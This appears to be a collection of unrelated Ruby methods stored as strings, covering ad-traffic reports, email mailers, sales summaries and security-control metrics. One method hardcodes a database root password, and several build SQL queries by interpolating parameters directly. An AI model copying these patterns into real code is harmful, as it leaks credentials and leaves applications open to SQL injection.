"def clientPerformanceReport(month, year, typeOfReport, clientId, clientName, basedOn, orderBy, userId)\n begin \n image_name = \"client_performance_#{clientId}_#{typeOfReport}_#{month}_#{year}_#{basedOn}\"\n month_id = MONTH_HASH[month]\n impressions = Array.new #for all clients, impressions will be calculate per month and for a particular adclient, it will be calculate per week \n labels = Array.new\n label_hash = Hash.new\n title = \"Traffic of #{clientName} for the month of #{month}, #{year}\"\n axis_title = \"#{basedOn}\"\n puts sql = \"select sum(#{basedOn}) as #{basedOn}, dayofmonth(delivery_time) as day from adsdeliveries where client_id=#{clientId} and date_format(delivery_time, '%m')=#{month_id} and date_format(delivery_time, '%Y')=#{year} group by day\"\n #begin\n # impressions_sql = @dbh.prepare(sql)\n # impressions_sql.execute\n #rescue Exception=>e\n # puts \"An Exception was thrown while executing the sql in client performance report\"\n # @dbh = DBI.connect(DATABASE, USERNAME,PASSWORD)\n # #impressions_active=Addelivery.find_by_sql(sql)\n # impressions_sql = @dbh.prepare(sql)\n # impressions_sql.execute\n #end\n begin\n @impressions_active=Adsdelivery.find_by_sql(sql)\n rescue\n Adsdelivery.establish_connection( \n :adapter => \"mysql\", \n :host => \"192.168.1.4\", \n :database => \"zestadz_development\",\n :username => \"root\",\n :password => \"sqlworx@ch\"\n )\n @impressions_active=Adsdelivery.find_by_sql(sql)\n end\n #impressions_sql = @dbh.prepare(sql)\n #impressions_sql.execute\n puts \"the impressions size is #{@impressions_active.size}\"\n @impressions_active.each do |imp|\n puts impressions << imp.impressions if basedOn=='impressions'\n puts impressions << imp.clicks if basedOn=='clicks'\n labels << imp.day\n end\n \n # while row=impressions_sql.fetch do\n # impressions << row[0].to_i\n # labels << row[1].to_s\n # end\n for i in 0...labels.size\n label_hash[i] = labels[i].to_s\n end\n \n create_directory(\"#{@@rails_root}/public/images/reports/\", userId.to_s)\n if(typeOfReport=='Line')\n build_image image_name, userId, impressions, label_hash, title, axis_title, nil, 550, true \n elsif(typeOfReport=='Area')\n build_land_chart image_name, userId, impressions, label_hash, axis_title, title, nil, 550\n elsif(typeOfReport=='Pie')\n build_pie_chart image_name, userId, impressions, label_hash, axis_title, title, nil, 550\n elsif(typeOfReport=='Bar')\n build_bar_chart image_name, userId, impressions, label_hash, axis_title, title, nil, 550\n end\n print \"\\nSuccesfully generated the client performance report\"\n rescue Exception=>e\n puts \"An Exception was thrown in Client Performance Report\"\n end\n end",
"def weekly_smallV_report(count, budget, total_consumed, kol_count, real_kol_count)\n puts \"Prepare for weekly email\"\n @count = count\n @budget = budget\n @total_consumed = total_consumed\n @kol_count = kol_count\n @real_kol_count = real_kol_count\n mail(:to => 'app_report@robin8.com', :subject => \"【Robin8】Small-V weekly report\",:from => \"Robin8 <system@robin8.com>\")\n puts \"Weekly email sent\"\n end",
"def set_defaults\n self.annual_inflation_rate ||= 1.1\n self.pcnt_residual_value ||= 0\n self.condition_rollup_weight ||= 0\n end",
"def download_report\n logger.debug(\"Downloading latest knapsack report for '#{report_name}' to '#{report_path}'\")\n file = client.get_object(BUCKET, report_file)\n File.write(report_path, file[:body])\n rescue StandardError => e\n ENV[\"KNAPSACK_REPORT_PATH\"] = FALLBACK_REPORT\n logger.warn(\"Failed to fetch latest knapsack report: #{e}\")\n logger.warn(\"Falling back to '#{FALLBACK_REPORT}'\")\n end",
"def update_requirements\n\t\treset_category_quantities_and_reports\n\t\tself.reports.map{|report|\n\t\t\treport.requirements.each do |req|\n\t\t\t\toptions = req.categories.size\n\t\t\t\t## now we need something to expand.\n\t\t\t\t## \n\t\t\t\treq.categories.each_with_index {|category,key|\n\t\t\t\t\t#puts \"looking for category: #{category.name}\"\n\t\t\t\t\tif !has_category?(category.name)\n\t\t\t\t\t\tcategory_to_add = Inventory::Category.new(quantity: category.quantity, required_for_reports: [], optional_for_reports: [], name: category.name)\n\t\t\t\t\t\tif options > 1\n\t\t\t\t\t\t\tcategory_to_add.optional_for_reports << report.id.to_s\n\t\t\t\t\t\telse\n\t\t\t\t\t\t\tcategory_to_add.required_for_reports << report.id.to_s\n\t\t\t\t\t\tend\n\t\t\t\t\t\t\n\t\t\t\t\t\t## so now what next,\n\t\t\t\t\t\t## dim that\n\t\t\t\t\t\t## don't show set_changed_for_lis\n\t\t\t\t\t\t## if its the first category in any requirement, then it is absolutely essential.\n\t\t\t\t\t\tcategory_to_add.show_by_default = Inventory::Category::YES if key == 0\n\n\t\t\t\t\t\t## however if we can ignore missing items in this category, then we don't need to show it by default.\n\t\t\t\t\t\tcategory_to_add.show_by_default = Inventory::Category::NO if category.ignore_missing_items == Inventory::Category::YES\n\t\t\t\t\t\t\n\t\t\t\t\t\tself.categories << category_to_add\n\t\t\t\t\telse\n\t\t\t\t\t\tself.categories.each do |existing_category|\n\t\t\t\t\t\t\tif existing_category.name == category.name\n\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\texisting_category.quantity += category.quantity\n\n\t\t\t\t\t\t\t\tif options > 1\n\t\t\t\t\t\t\t\t\texisting_category.optional_for_reports << report.id.to_s\n\t\t\t\t\t\t\t\telse\n\t\t\t\t\t\t\t\t\texisting_category.required_for_reports << report.id.to_s\n\t\t\t\t\t\t\t\tend\n\n\t\t\t\t\t\t\t\texisting_category.optional_for_reports.flatten!\n\n\t\t\t\t\t\t\t\texisting_category.required_for_reports.flatten!\n\n\t\t\t\t\t\t\t\texisting_category.show_by_default = Inventory::Category::YES if key == 0\n\n\t\t\t\t\t\t\t\texisting_category.show_by_default = Inventory::Category::NO if category.ignore_missing_items == Inventory::Category::YES\n\n\t\t\t\t\t\t\tend\n\t\t\t\t\t\tend\n\t\t\t\t\tend\n\t\t\t\t}\n\t\t\tend\n\t\t}\t\t\n\tend",
"def create_config()\n # Materialize an array of desired trial configurations\n tests = []\n if $options[:experiments].include? :scalability\n $options[:scale_factors].each do |sf|\n get_node_counts(sf).each do |nodes|\n $options[:queries].each do |q|\n get_trials(sf).each do |trial|\n tests << $headers[0..-1].zip([:scalability, sf, nodes, get_switches(nodes), 2, q, trial]).to_h\n end end end end end\n # Latency experiments\n sample_delays = {0.1=>100, 1=>1000, 10=>10000, 100=>100000}\n if $options[:experiments].include? :latency\n [0.1, 1, 10, 100].each do |sf|\n get_node_counts(sf).reject {|nd| nd > 16}.each do |nodes|\n switch_counts = $options[:switch_counts].select {|s| s <= nodes}\n switch_counts.each do |switches|\n ['4', '3'].each do |q|\n get_trials(sf).each do |trial|\n t = $headers[0..-1].zip([:latency, sf, nodes, switches, 2, q, trial]).to_h\n t[:sample_delay] = sample_delays[sf]\n tests << t\n end end end end end end\n # Memory tests\n if $options[:experiments].include? :memory\n [1, 10].each do |sf|\n [1, 4, 8].each do |nodes|\n ['3'].each do |q|\n $options[:gc_epochs].each do |gc_epoch|\n $options[:delays].each do |delay|\n get_trials(sf).each do |trial|\n t = $headers[0..-1].zip([:memory, sf, nodes, get_switches(nodes), 2, q, trial]).to_h\n t[:gc_epoch] = gc_epoch\n t[:delay] = delay\n tests << t\n end end end end end end end\n #puts tests\n config = {\n :options => $options,\n :tests => tests\n }\n config\nend",
"def monthly_smallV_report(count, budget, budget_increase, total_consumed, kol_count, kol_increase, real_kol_count, real_kol_increase)\n puts \"Prepare for monthly email\"\n @count = count\n @budget = budget\n @budget_increase = budget_increase\n @total_consumed = total_consumed\n @kol_count = kol_count\n @kol_increase = kol_increase\n @real_kol_count = real_kol_count\n @real_kol_increase = real_kol_increase\n mail(:to => 'monthly_report@robin8.com', :subject => \"【Robin8】Small-V monthly report\",:from => \"Robin8 <system@robin8.com>\")\n puts \"Monthly email sent\"\n end",
"def initialize(data)\n @id = data.dig(:set_id).to_i\n @number = data.dig(:number)\n @number_variant = data.dig(:number_variant).to_i\n @name = data.dig(:name)\n @year = data.dig(:year)\n @theme = data.dig(:theme)\n @theme_group = data.dig(:theme_group)\n @subtheme = data.dig(:subtheme)\n @pieces = data.dig(:pieces)\n @minifigs = data.dig(:minifigs)\n @image = data.dig(:image)\n @image_filename = data.dig(:image_filename)\n @thumbnail_url = data.dig(:thumbnail_url)\n @large_thumbnail_url = data.dig(:large_thumbnail_url)\n @image_url = data.dig(:image_url)\n @brickset_url = data.dig(:brickset_url)\n @released = data.dig(:released)\n @owned = data.dig(:owned)\n @wanted = data.dig(:wanted)\n @qty_owned = data.dig(:qty_owned)\n @acm_data_count = data.dig(:acm_data_count).to_i\n @user_notes = data.dig(:user_notes)\n @owned_by_total = data.dig(:owned_by_total).to_i\n @wanted_by_total = data.dig(:wanted_by_total).to_i\n @uk_retail_price = data.dig(:uk_retail_price)\n @us_retail_price = data.dig(:us_retail_price)\n @ca_retail_price = data.dig(:ca_retail_price)\n @eu_retail_price = data.dig(:eu_retail_price)\n @us_date_added_to_sah = data.dig(:us_date_added_to_sah)\n @us_date_removed_from_sah = data.dig(:us_date_removed_from_sah)\n @rating = data.dig(:rating)\n @review_count = data.dig(:review_count).to_i\n @packaging_type = data.dig(:packaging_type)\n @availability = data.dig(:availability)\n @instructions_count = data.dig(:instructions_count).to_i\n @additional_image_count = data.dig(:additional_image_count).to_i\n @ean = data.dig(:ean)\n @upc = data.dig(:upc)\n @description = data.dig(:description)\n @last_updated = data.dig(:last_updated)\n end",
"def conveyance_values\n wizard_step(:returns_lbtt_summary) do\n { cache_index: LbttController, after_merge: :update_tax_calculations }\n end\n end",
"def set_defaults_for(project)\n if self.can_generate_from_scheulde_for(project)\n project_entries = project.entries.start_date_ordered\n \n @start_date = project_entries.first.start_date\n @end_date = project_entries.last.end_date\n @end_date = @start_date + 1.month if (@start_date + 1.month) > @end_date # Always make sure there is at least a full month apart\n \n @frequency = '0'\n end\n end",
"def initialize prev_data=nil\n @totals = {}\n @results = {}\n end",
"def index\n set_trading_account_budget_records_grid\n end",
"def initialize(income_expense_report)\n init_chart_labels(income_expense_report)\n init_graphs(income_expense_report)\n #do_test()\n end",
"def compute_and_present(reports)\n alltime_proceeds_per_currency = {} #currency is the key, value is the proceeds\n alltime_renewables = 0\n alltime_apps = {}\n alltime_payed_units = 0\n alltime_inapp_units = 0\n alltime_free_units = 0\n alltime_updated_units = 0\n \n first_date = reports[0].split('_').last.split('.').first\n reports.each do |alltime_filename|\n\n puts \"Processing #{alltime_filename}\".green if @beVerbose\n\n #get the date from the filename\n date = alltime_filename.split('_').last.split('.').first #filename example: S_D_80076793_20120706.txt\n\n report_data = File.open(alltime_filename, \"rb\").read \n\n report = parse(report_data)\n #puts report.class\n if report #report parsed\n apps = {}\n total_payed_units = 0\n total_inapp_units = 0\n total_free_units = 0\n total_updated_units = 0\n report.each do |item| #report is a hash \n if item\n sku = item[:sku] #group data by app sku\n if apps.has_key? sku #app is already cached\n app = apps[sku]\n else #initially insert app\n app = {:sku=>sku, :title=>item[:title], :sold_units=>0, :updated_units=>0}\n apps[sku] = app\n end\n #ensure currency sum\n alltime_proceeds_per_currency[item[:currency_of_proceeds]] = 0.0 unless alltime_proceeds_per_currency[item[:currency_of_proceeds]]\n \n #count units\n if SALE_IDENTS.include? item[:product_type_id] #count sales\n app[:sold_units] += item[:units]\n if item[:customer_price]==0 #a free app\n total_free_units += item[:units]\n else \n total_payed_units += item[:units]\n alltime_proceeds_per_currency[item[:currency_of_proceeds]] += item[:developer_proceeds] * item[:units]\n end\n elsif INAPP_SALE_IDENTS.include? item[:product_type_id]\n app[:sold_units] += item[:units]\n total_inapp_units += item[:units]\n alltime_proceeds_per_currency[item[:currency_of_proceeds]] += item[:developer_proceeds] * item[:units]\n if item[:product_type_id] == \"IAY\" #InAppPurchase\n alltime_renewables += item[:units]\n end\n elsif UPDATE_IDENTS.include? item[:product_type_id] #count updates\n app[:updated_units] += item[:units]\n total_updated_units += item[:units]\n end \n else # only if item \n puts \"null report\".red\n end\n end\n\n #add to the alltime stats\n alltime_payed_units += total_payed_units\n alltime_inapp_units += total_inapp_units\n alltime_free_units += total_free_units\n alltime_updated_units += total_updated_units\n \n apps.each do |alltime_sku, apps_app| \n #select the app\n if alltime_apps.has_key? alltime_sku\n #already cached\n alltime_app = alltime_apps[alltime_sku]\n else\n #insert for the first time\n alltime_app = {:sku=>alltime_sku, :title=>apps_app[:title], :sold_units=>0, :updated_units=>0} \n alltime_apps[alltime_sku] = alltime_app\n end\n #add stats\n alltime_app[:sold_units] += apps_app[:sold_units]\n alltime_app[:updated_units] += apps_app[:updated_units]\n end\n\n if @beVerbose && reports.size>1\n #report for date\n puts \"\\n\\n______________________________________________________________\".blue\n puts \"Report for #{date}\"\n puts \"\\n\" + \"Product\".ljust(40).blue + \": \" +\"Downloads\".green + \" / \" + \"Updates\".green\n puts \"______________________________________________________________\".yellow\n apps.each do |app_sku,apps_app|\n puts \"#{apps_app[:title].ljust(40).blue}: #{apps_app[:sold_units].to_s.ljust(10).green} / #{apps_app[:updated_units].to_s.rjust(7).dark_green}\"\n end \n puts \"______________________________________________________________\".yellow\n puts \"#{'InApp Purchases'.ljust(40).green}: #{total_inapp_units}\"\n puts \"#{'Payed Downloads'.ljust(40).green}: #{total_payed_units}\"\n puts \"#{'Free Downloads'.ljust(40).dark_green}: #{total_free_units}\"\n puts \"#{'Updates'.ljust(40).dark_green}: #{total_updated_units}\"\n puts \"______________________________________________________________\".blue\n puts \"\\n\\n\"\n end #if @beVerbose\n\n else \n puts \"null report parsed\".red\n end #if report parsed\n \n end #reports.each\n\n #report alltime\n puts \"\\n\\n______________________________________________________________\".blue\n from = Date.strptime first_date, '%Y%m%d'\n age = Date.today - from \n formatted_from = from.strftime(\"%b %d %Y\")\n puts \"Report\" + (ARGV[0]? \" #{ARGV[0]}\":\" daily\") + \", from #{formatted_from}, #{age.to_i} days\"\n puts \"\\n\" + \"Product\".ljust(40).blue + \": \" +\"Downloads\".green + \" / \" + \"Updates\".green\n puts \"______________________________________________________________\".yellow\n alltime_apps.each do |app_sku, aapp|\n puts \"#{aapp[:title].ljust(40).blue}: #{aapp[:sold_units].to_s.ljust(10).green} / #{aapp[:updated_units].to_s.rjust(7).dark_green}\"\n end \n puts \"______________________________________________________________\".yellow\n puts \"#{'InApp Purchases'.ljust(40).green}: #{alltime_inapp_units}\" + ( alltime_renewables > 0.0 ? \" / #{alltime_renewables} Auto-Renewed\" : \"\")\n puts \"#{'Payed Downloads'.ljust(40).green}: #{alltime_payed_units}\"\n puts \"#{'Free Downloads'.ljust(40).dark_green}: #{alltime_free_units}\"\n puts \"#{'Updates'.ljust(40).dark_green}: #{alltime_updated_units}\"\n puts \"\\n#{'Proceeds'.red}:\\n\\n\"\n total_proceeds = 0.0\n alltime_proceeds_per_currency.each do |proceed_key, proceed| \n formatted_sum = proceed > 0.0 ? \"#{proceed}\".green : \"#{proceed}\".red\n if proceed > 0.0\n if proceed_key == @convertTo\n total_proceeds += proceed\n puts \"#{proceed_key} : #{formatted_sum}\"\n else\n #convert using google\n data = open(\"http://www.google.com/ig/calculator?q=#{proceed}#{proceed_key}=?#{@convertTo}\").read\n #fix broken json\n data.gsub!(/lhs:/, '\"lhs\":')\n data.gsub!(/rhs:/, '\"rhs\":')\n data.gsub!(/error:/, '\"error\":')\n data.gsub!(/icc:/, '\"icc\":')\n data.gsub!(Regexp.new(\"(\\\\\\\\x..|\\\\\\\\240)\"), '') \n #puts data\n converted = JSON.parse data\n converted_proceed = converted[\"rhs\"].split(' ').first.to_f\n total_proceeds += converted_proceed\n puts \"#{proceed_key} : #{formatted_sum} / #{converted['rhs']}\"\n end\n end\n end\n puts \"\\n#{'Total'.green}: #{total_proceeds} #{@convertTo}\"\n puts \"______________________________________________________________\".blue\n puts \"\\n\\n\" \nend",
"def set_default_params\n self.difficulty = 0\n self.result = \"active\"\n self.board_size = 3\n end",
"def create_amount_to_bill_report\n\t\t\n\t\treport = {}\n\n\t\t@partners.each do |partner|\n\t\t\tnext if(partner.program_type == :direct) \n\t\t\treport[partner.partner_name] = {}\n\n\t\t\treport[partner.partner_name][:amount_to_bill] = partner.amount_due \n\t\tend\n\n\t\treport\n\tend",
"def fundingdistribution\n @fundingdistribution = {}\n @sourceoffunds.each do |sof|\n @fundingdistribution[sof.name] = budget * (sof.percentage.to_f / 100)\n end\n @fundingdistribution \n end",
"def run\n solve\n { price: @best_price, config: @best_config }\n end",
"def set_defaults\n\t self.year ||= Date.today.cwyear\n\t self.start_week ||= 1\n self.end_week ||= Date.new(Date.today.cwyear, 12, 28).cweek #calc for number of weeks in current year\n\t self.hours_in_week ||= 40\n\t self.holiday ||= 8\n\t self.billable_rate ||= 90\n self.billable_per_week ||= self.hours_in_week\n \tend",
"def initialize\n\n # request configuration information\n conf = Configvalue.where(:name => :atodate).first\n @atoDate = conf.dvalue\n @atoYear = 0\n conf = Configvalue.where(:name => :controlrevision).first\n @controlRev = conf.ivalue\n \n # set initial values\n @id = 1 # 1 is used just for convenience\n @cagtested = 1 # 1 is used just for test\n @cagopen = 1 # 1 is used just for test\n @cagpartial = 1 # 1 is used just for test\n @cagdue = 1 # 1 is used just for test\n @caglate = 1 # 1 is used just for test\n @cagnotscheduled = 1 # 1 is used just for test\n @cagauto = 1 # 1 is used just for test\n @cagtotal = 1 # 1 is used just for test\n @cagcyclemonth = 1 # 1 is used just for test\n @cagcycleduration = 12 #\n @mabtested = 1 # 1 is used just for test\n @mabopen = 1 # 1 is used just for test\n @mabpartial = 1 # 1 is used just for test\n @mabdue = 1 # 1 is used just for test\n @mablate = 1 # 1 is used just for test\n @mabnotscheduled = 1 # 1 is used just for test\n @mabauto = 1 # 1 is used just for test\n @mabtotal = 1 # 1 is used just for test\n @mabcyclemonth = 1 # 1 is used just for test\n @mabcycleduration = 48 #\n \n # get sql connection\n sql = ActiveRecord::Base.connection();\n \n # Process DB specific code\n if ActiveRecord::Base::connection.is_a?(ActiveRecord::ConnectionAdapters::SQLServerAdapter)\n \n # get setup values\n tempDate = sql.select_value(\"SELECT DATEDIFF(day, '#{@atoDate.year}-#{@atoDate.month}-#{@atoDate.day}', GETDATE())\")\n tempYear = tempDate.to_i / 365\n @atoYear = tempYear.to_i + 1\n @mabcyclemonth = (tempDate.to_i / 30.415).to_i\n @cagcyclemonth = (@mabcyclemonth.to_i % 12) + 1\n enclaveYear = sql.select_value(\"SELECT MAX(enclaveYear) FROM enclavequarters\")\n enclaveQuarter = sql.select_value(\"SELECT MAX(enclaveQuarter) FROM enclavequarters WHERE enclaveYear=#{enclaveYear}\")\n eqList = \"0\"\n eqSet = Enclavequarter.where(\"enclaveYear=#{enclaveYear} AND enclaveQuarter=#{enclaveQuarter}\")\n enclaveCount= eqSet.length\n eqSet.each do |eq|\n eqList += \", #{eq.id}\"\n end\n #Rails.logger.error \"\\n\" + \"metric.initialize - Got Here 1 - tempDate: #{tempDate}, tempYear: #{tempYear}, atoYear: #{@atoYear}, mabcyclemonth: #{@mabcyclemonth}, cagcyclemonth: #{@cagcyclemonth}, enclaveYear: #{enclaveYear}, enclaveQuarter: #{enclaveQuarter}, enclaveCount: #{enclaveCount}, eqList: #{eqList}\\n\"\n \n # create base sql statements for lookup\n cagSQLFragment = \" FROM enclavecontrols ec, cybercontrols cc WHERE ec.cybercontrol_id=cc.id AND cc.criticalControl=1 AND ec.enclavequarter_id IN (#{eqList}) AND ec.RMF=0 AND cc.Revision=#{@controlRev} \"\n cagSQLFragment += \"AND ec.created_at > DATEADD(year, #{(@atoYear - 1)}, '#{@atoDate.year}-#{@atoDate.month}-#{@atoDate.day}') \"\n mabSQLFragment = \" FROM enclavecontrols ec, cybercontrols cc WHERE ec.cybercontrol_id=cc.id AND cc.criticalControl=0 AND ec.enclavequarter_id IN (#{eqList}) AND ec.RMF=0 AND cc.Revision=#{@controlRev} \"\n if @atoYear == 4 then\n mabSQLFragment += \"AND ec.created_at > DATEADD(year, #{(@atoYear - 1)}, '#{@atoDate.year}-#{@atoDate.month}-#{@atoDate.day}') \"\n end\n \n # get list of controls that have a scheduled date\n cagccwithsheduledlist = \"0\"\n cagccwithsheduled = sql.select_values(\"SELECT cc.id \" + cagSQLFragment + \" AND ec.plannedTestDate IS NOT NULL\")\n cagccwithsheduled.each do |id|\n cagccwithsheduledlist += \", #{id}\"\n end\n mabccwithsheduledlist = \"0\"\n mabccwithsheduled = sql.select_values(\"SELECT cc.id \" + mabSQLFragment + \" AND ec.plannedTestDate IS NOT NULL\")\n mabccwithsheduled.each do |id|\n mabccwithsheduledlist += \", #{id}\"\n end\n\n \n # finalize sql statements and get initial metrics\n @cagtested = sql.select_value(\"SELECT count(*) \" + cagSQLFragment + \" AND ec.actualTestDate IS NOT NULL\")\n @mabtested = sql.select_value(\"SELECT count(*) \" + mabSQLFragment + \" AND ec.actualTestDate IS NOT NULL\")\n @cagopen = sql.select_value(\"SELECT count(*) \" + cagSQLFragment + \" AND ec.SSPImplementationStatus != 'Implemented' AND ec.SSPImplementationStatus != 'Not Applicable'\")\n @mabopen = sql.select_value(\"SELECT count(*) \" + mabSQLFragment + \" AND ec.SSPImplementationStatus != 'Implemented' AND ec.SSPImplementationStatus != 'Not Applicable'\")\n @cagpartial = sql.select_value(\"SELECT count(*) \" + cagSQLFragment + \" AND ec.SSPImplementationStatus = 'Partially Implemented'\")\n @mabpartial = sql.select_value(\"SELECT count(*) \" + mabSQLFragment + \" AND ec.SSPImplementationStatus = 'Partially Implemented'\")\n @cagdue = sql.select_value(\"SELECT count(*) \" + cagSQLFragment + \" AND ec.actualTestDate IS NULL AND ec.plannedTestDate < DATEADD(day, 30, GETDATE()) AND ec.plannedTestDate >= GETDATE()\")\n @mabdue = sql.select_value(\"SELECT count(*) \" + mabSQLFragment + \" AND ec.actualTestDate IS NULL AND ec.plannedTestDate < DATEADD(day, 60, GETDATE()) AND ec.plannedTestDate >= GETDATE()\")\n @caglate = sql.select_value(\"SELECT count(*) \" + cagSQLFragment + \" AND ec.actualTestDate IS NULL AND ec.plannedTestDate < GETDATE()\")\n @mablate = sql.select_value(\"SELECT count(*) \" + mabSQLFragment + \" AND ec.actualTestDate IS NULL AND ec.plannedTestDate < GETDATE()\")\n #@cagnotscheduled = sql.select_value(\"SELECT count(*) \" + cagSQLFragment + \" AND ec.plannedTestDate IS NULL\")\n #@mabnotscheduled = sql.select_value(\"SELECT count(*) \" + mabSQLFragment + \" AND ec.plannedTestDate IS NULL\")\n #@cagscheduled = sql.select_value(\"SELECT count(*) \" + cagSQLFragment + \" AND ec.plannedTestDate IS NOT NULL\")\n #@mabscheduled = sql.select_value(\"SELECT count(*) \" + mabSQLFragment + \" AND ec.plannedTestDate IS NOT NULL\")\n @cagscheduled = sql.select_value(\"SELECT count(*) FROM cybercontrols WHERE id in (#{cagccwithsheduledlist})\")\n @mabscheduled = sql.select_value(\"SELECT count(*) FROM cybercontrols WHERE id in (#{mabccwithsheduledlist})\")\n @cagauto = sql.select_value(\"SELECT count(*) \" + cagSQLFragment + \" AND ec.testMethod = 'Automatic'\")\n @mabauto = sql.select_value(\"SELECT count(*) \" + mabSQLFragment + \" AND ec.testMethod = 'Automatic'\")\n @cagtotal = sql.select_value(\"SELECT count(*) \" + cagSQLFragment)\n @mabtotal = sql.select_value(\"SELECT count(*) \" + mabSQLFragment)\n \n else\n\n # get setup values\n tempDate, dummy = sql.execute(\"SELECT DATEDIFF(SYSDATE(), '#{@atoDate.year}-#{@atoDate.month}-#{@atoDate.day}'), 0\").fetch_row\n tempYear = tempDate.to_i / 365\n @atoYear = tempYear.to_i + 1\n @mabcyclemonth = (tempDate.to_i / 30.415).to_i\n @cagcyclemonth = @mabcyclemonth.to_i % 12\n enclaveYear, dummy = sql.execute(\"SELECT MAX(enclaveYear) FROM enclavequarters\").fetch_row\n enclaveQuarter, dummy = sql.execute(\"SELECT MAX(enclaveQuarter) FROM enclavequarters WHERE enclaveYear=#{enclaveYear}\").fetch_row\n eqList = \"0\"\n eqSet = Enclavequarter.where(\"enclaveYear=#{enclaveYear} AND enclaveQuarter=#{enclaveQuarter}\")\n enclaveCount= eqSet.length\n eqSet.each do |eq|\n eqList += \", #{eq.id}\"\n end\n \n # create base sql statements for lookup\n cagSQLFragment = \" FROM enclavecontrols ec, cybercontrols cc WHERE ec.cybercontrol_id=cc.id AND cc.criticalControl=1 AND ec.enclavequarter_id IN (#{eqList}) AND ec.RMF=0 AND cc.Revision=#{@controlRev} \"\n cagSQLFragment += \"AND ec.created_at > ADDDATE('#{@atoDate.year}-#{@atoDate.month}-#{@atoDate.day}', INTERVAL #{(@atoYear - 1)} YEAR) \"\n mabSQLFragment = \" FROM enclavecontrols ec, cybercontrols cc WHERE ec.cybercontrol_id=cc.id AND cc.criticalControl=0 AND ec.enclavequarter_id IN (#{eqList}) AND ec.RMF=0 AND cc.Revision=#{@controlRev} \"\n if @atoYear == 4 then\n mabSQLFragment += \"AND ec.created_at > ADDDATE('#{@atoDate.year}-#{@atoDate.month}-#{@atoDate.day}', INTERVAL #{(@atoYear - 1)} YEAR) \"\n end\n \n # get list of controls that have a scheduled date\n cagccwithsheduledlist = \"0\"\n cagccwithsheduled = sql.select_values(\"SELECT cc.id \" + cagSQLFragment + \" AND ec.plannedTestDate IS NOT NULL\")\n cagccwithsheduled.each do |id|\n cagccwithsheduledlist += \", #{id}\"\n end\n mabccwithsheduledlist = \"0\"\n mabccwithsheduled = sql.select_values(\"SELECT cc.id \" + mabSQLFragment + \" AND ec.plannedTestDate IS NOT NULL\")\n mabccwithsheduled.each do |id|\n mabccwithsheduledlist += \", #{id}\"\n end\n\n \n # finalize sql statements and get initial metrics\n @cagtested, dummy = sql.execute(\"SELECT count(*), 0 \" + cagSQLFragment + \" AND ec.actualTestDate IS NOT NULL\").fetch_row\n @mabtested, dummy = sql.execute(\"SELECT count(*), 0 \" + mabSQLFragment + \" AND ec.actualTestDate IS NOT NULL\").fetch_row\n @cagopen, dummy = sql.execute(\"SELECT count(*), 0 \" + cagSQLFragment + \" AND ec.SSPImplementationStatus != 'Implemented' AND ec.SSPImplementationStatus != 'Not Applicable'\").fetch_row\n @mabopen, dummy = sql.execute(\"SELECT count(*), 0 \" + mabSQLFragment + \" AND ec.SSPImplementationStatus != 'Implemented' AND ec.SSPImplementationStatus != 'Not Applicable'\").fetch_row\n @cagpartial, dummy = sql.execute(\"SELECT count(*), 0 \" + cagSQLFragment + \" AND ec.SSPImplementationStatus = 'Partially Implemented'\").fetch_row\n @mabpartial, dummy = sql.execute(\"SELECT count(*), 0 \" + mabSQLFragment + \" AND ec.SSPImplementationStatus = 'Partially Implemented'\").fetch_row\n @cagdue, dummy = sql.execute(\"SELECT count(*), 0 \" + cagSQLFragment + \" AND ec.actualTestDate IS NULL AND ec.plannedTestDate < ADDDATE(SYSDATE(), 30) AND ec.plannedTestDate >= SYSDATE()\").fetch_row\n @mabdue, dummy = sql.execute(\"SELECT count(*), 0 \" + mabSQLFragment + \" AND ec.actualTestDate IS NULL AND ec.plannedTestDate < ADDDATE(SYSDATE(), 60) AND ec.plannedTestDate >= SYSDATE()\").fetch_row\n @caglate , dummy = sql.execute(\"SELECT count(*), 0 \" + cagSQLFragment + \" AND ec.actualTestDate IS NULL AND ec.plannedTestDate < SYSDATE()\").fetch_row\n @mablate , dummy = sql.execute(\"SELECT count(*), 0 \" + mabSQLFragment + \" AND ec.actualTestDate IS NULL AND ec.plannedTestDate < SYSDATE()\").fetch_row\n #@cagnotscheduled, dummy = sql.execute(\"SELECT count(*), 0 \" + cagSQLFragment + \" AND ec.plannedTestDate IS NULL\").fetch_row\n #@mabnotscheduled, dummy = sql.execute(\"SELECT count(*), 0 \" + mabSQLFragment + \" AND ec.plannedTestDate IS NULL\").fetch_row\n #@cagscheduled, dummy = sql.execute(\"SELECT count(*), 0 \" + cagSQLFragment + \" AND ec.plannedTestDate IS NOT NULL\").fetch_row\n #@mabscheduled, dummy = sql.execute(\"SELECT count(*), 0 \" + mabSQLFragment + \" AND ec.plannedTestDate IS NOT NULL\").fetch_row\n @cagscheduled = sql.select_value(\"SELECT count(*) FROM cybercontrols WHERE id in (#{cagccwithsheduledlist})\")\n @mabscheduled = sql.select_value(\"SELECT count(*) FROM cybercontrols WHERE id in (#{mabccwithsheduledlist})\")\n @cagauto, dummy = sql.execute(\"SELECT count(*), 0 \" + cagSQLFragment + \" AND ec.testMethod = 'Automatic'\").fetch_row\n @mabauto, dummy = sql.execute(\"SELECT count(*), 0 \" + mabSQLFragment + \" AND ec.testMethod = 'Automatic'\").fetch_row\n @cagtotal, dummy = sql.execute(\"SELECT count(*), 0 \" + cagSQLFragment).fetch_row\n @mabtotal, dummy = sql.execute(\"SELECT count(*), 0 \" + mabSQLFragment).fetch_row\n \n end\n \n # finalize metrics\n @cagtested = @cagtested.to_i / enclaveCount\n @mabtested = @mabtested.to_i / enclaveCount\n @cagauto = @cagauto.to_i / enclaveCount\n @mabauto = @mabauto.to_i / enclaveCount\n @cagtotal = @cagtotal.to_i / enclaveCount\n @mabtotal = @mabtotal.to_i / enclaveCount\n @cagopen = @cagopen.to_i / enclaveCount\n @mabopen = @mabopen.to_i / enclaveCount\n @cagpartial = @cagpartial.to_i / enclaveCount\n @mabpartial = @mabpartial.to_i / enclaveCount\n #@cagdue = @cagdue.to_i / enclaveCount\n @cagdue = @cagdue.to_i\n #@mabdue = @mabdue.to_i / enclaveCount\n @mabdue = @mabdue.to_i\n #@caglate = @caglate.to_i / enclaveCount\n @caglate = @caglate.to_i\n #@mablate = @mablate.to_i / enclaveCount\n @mablate = @mablate.to_i\n #@cagnotscheduled = @cagnotscheduled.to_i / enclaveCount\n #@mabnotscheduled = @mabnotscheduled.to_i / enclaveCount\n @cagnotscheduled = @cagtotal - @cagauto - @cagscheduled.to_i\n @mabnotscheduled = @mabtotal - @mabauto - @mabscheduled.to_i\n\n end",
